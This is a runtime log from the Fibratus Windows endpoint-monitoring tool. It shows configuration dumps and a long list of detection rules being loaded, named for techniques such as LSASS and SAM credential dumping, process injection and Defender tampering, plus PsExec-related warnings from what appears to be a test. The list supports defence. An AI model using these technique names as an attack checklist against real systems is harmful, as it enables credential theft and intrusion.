from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-size=>100 level=>info max-age=>0 max-backups=>15 formatter=>text] + output ......................... [ elasticsearch=>[ healthcheck=>true healthcheck-interval=>10s healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] timeout=>5s flush-period=>1s gzip-compression=>false enabled=>false trace-log=>false index-name=>fibratus template-name=>fibratus bulk-workers=>1 sniff=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] eventlog=>[ enabled=>false level=>info] http=>[ tls-insecure-skip-verify=>false serializer=>json timeout=>5s enable-gzip=>false enabled=>false endpoints=>[] method=>POST] amqp=>[ tls-insecure-skip-verify=>false delivery-mode=>transient enabled=>false exchange=>fibratus url=>amqp://localhost:5672 vhost=>/ timeout=>5s exchange-type=>topic durable=>false passive=>false routing-key=>fibratus]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-resources=>false read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false fastscan=>true excluded-files=>[] skip-registry=>false skip-files=>false scan-timeout=>10s skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-04T16:41:47+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-04T16:41:47+01:00 level=info msg=bootstrapping with pid 15604. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-04T16:41:47+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ use-template=>true to=>[] content-type=>text/html port=>25 enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-pe=>false serialize-images=>false serialize-threads=>false] + eventsource .................... [ buffer-size=>512 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-audit-api=>true enable-registry=>true enable-threadpool=>false stack-enrichment=>true enable-dns=>false enable-handle=>false max-buffers=>36 enable-image=>true enable-thread=>true min-buffers=>16 enable-mem=>false enable-vamap=>true flush-interval=>1s enable-fileio=>true enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-backups=>15 max-age=>0 max-size=>100 log-stdout=>true formatter=>text] + output ......................... [ elasticsearch=>[ flush-period=>1s template-name=>fibratus trace-log=>false healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] enabled=>false gzip-compression=>false timeout=>5s sniff=>false healthcheck=>true bulk-workers=>1 healthcheck-interval=>10s index-name=>fibratus] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty] amqp=>[ durable=>false delivery-mode=>transient exchange-type=>topic exchange=>fibratus vhost=>/ enabled=>false url=>amqp://localhost:5672 routing-key=>fibratus tls-insecure-skip-verify=>false timeout=>5s passive=>false] eventlog=>[ enabled=>false level=>info] http=>[ endpoints=>[] timeout=>5s tls-insecure-skip-verify=>false serializer=>json method=>POST enable-gzip=>false enabled=>false]] + pe ............................. [ read-symbols=>false read-sections=>false enabled=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] excluded-files=>[] skip-mmaps=>false skip-allocs=>false scan-timeout=>10s skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false fastscan=>true skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-04T16:41:47+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-04T16:41:49+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-04T16:42:15+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-04T16:42:15+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-04T16:42:16+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-04T16:46:13+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-04T16:46:13+01:00 level=info msg=bootstrapping with pid 11372. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-04T16:46:13+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false sound=>true quiet-mode=>false] slack=>[ enabled=>false] mail=>[ use-template=>true to=>[] content-type=>text/html enabled=>false port=>25]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-threads=>false serialize-images=>false serialize-handles=>false] + eventsource .................... [ enable-thread=>true flush-interval=>1s enable-audit-api=>true enable-threadpool=>false enable-fileio=>true max-buffers=>36 enable-image=>true enable-dns=>false enable-net=>true stack-enrichment=>true enable-handle=>false buffer-size=>512 enable-registry=>true enable-mem=>false min-buffers=>16 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-backups=>15 max-age=>0 max-size=>100 level=>info log-stdout=>true] + output ......................... [ elasticsearch=>[ sniff=>false flush-period=>1s trace-log=>false gzip-compression=>false template-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s healthcheck-interval=>10s index-name=>fibratus healthcheck=>true bulk-workers=>1 enabled=>false timeout=>5s] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] http=>[ serializer=>json enable-gzip=>false endpoints=>[] tls-insecure-skip-verify=>false method=>POST enabled=>false timeout=>5s] amqp=>[ exchange=>fibratus tls-insecure-skip-verify=>false routing-key=>fibratus url=>amqp://localhost:5672 enabled=>false timeout=>5s delivery-mode=>transient passive=>false exchange-type=>topic vhost=>/ durable=>false]] + pe ............................. [ read-symbols=>false read-sections=>false read-resources=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false fastscan=>true skip-registry=>false excluded-files=>[] scan-timeout=>10s skip-files=>false enabled=>false excluded-procs=>[] skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-04T16:46:13+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-04T16:46:15+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-04T16:46:22+01:00 level=warning msg=unable to read \Device\Mup\ARCHRABBIT\admin$\PSEXEC-ARCHRABBIT-4DAFDF4A.key from raw device: runtime error: invalid memory address or nil pointer dereference source=ntfs/ntfs.go:47 +time=2025-11-04T16:50:10+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-04T16:50:10+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-04T16:50:10+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-04T16:50:16+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_suspicious_child_process_integrity_level.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-04T16:50:16+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-04T16:50:16+01:00 level=info msg=bootstrapping with pid 13944. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-04T16:50:16+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ to=>[] content-type=>text/html use-template=>true port=>25 enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-pe=>false] + eventsource .................... [ buffer-size=>512 enable-net=>true enable-audit-api=>true enable-mem=>false enable-vamap=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] stack-enrichment=>true enable-image=>true enable-fileio=>true enable-threadpool=>false enable-thread=>true enable-dns=>false max-buffers=>36 enable-registry=>true min-buffers=>16 flush-interval=>1s enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 formatter=>text log-stdout=>true max-size=>100 level=>info max-age=>0] + output ......................... [ amqp=>[ enabled=>false delivery-mode=>transient url=>amqp://localhost:5672 timeout=>5s durable=>false vhost=>/ exchange-type=>topic passive=>false exchange=>fibratus tls-insecure-skip-verify=>false routing-key=>fibratus] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ servers=>[http://127.0.0.1:9200] sniff=>false healthcheck-interval=>10s template-name=>fibratus enabled=>false healthcheck=>true flush-period=>1s bulk-workers=>1 index-name=>fibratus trace-log=>false healthcheck-timeout=>5s gzip-compression=>false timeout=>5s] http=>[ timeout=>5s tls-insecure-skip-verify=>false serializer=>json enable-gzip=>false method=>POST endpoints=>[] enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false read-sections=>false enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] fastscan=>true excluded-files=>[] skip-mmaps=>false scan-timeout=>10s skip-files=>false enabled=>false skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-04T16:50:17+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-04T16:50:19+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-04T16:50:29+01:00 level=error msg=unable to parse PE exports for module [C:\Windows\PSEXESVC.exe]: open C:\Windows\PSEXESVC.exe: The system cannot find the file specified. source=symbolize/symbolizer.go:246 +time=2025-11-04T16:50:30+01:00 level=warning msg=unable to read \Device\Mup\ARCHRABBIT\admin$\PSEXEC-ARCHRABBIT-3582365F.key from raw device: runtime error: invalid memory address or nil pointer dereference source=ntfs/ntfs.go:47 +time=2025-11-04T16:50:36+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-04T16:50:37+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-04T16:50:37+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-04T16:50:40+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-04T16:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-04T16:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T16:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-04T16:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-04T16:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-04T16:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-04T16:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-04T16:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-04T16:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-04T16:50:40+01:00 level=info msg=loading rule 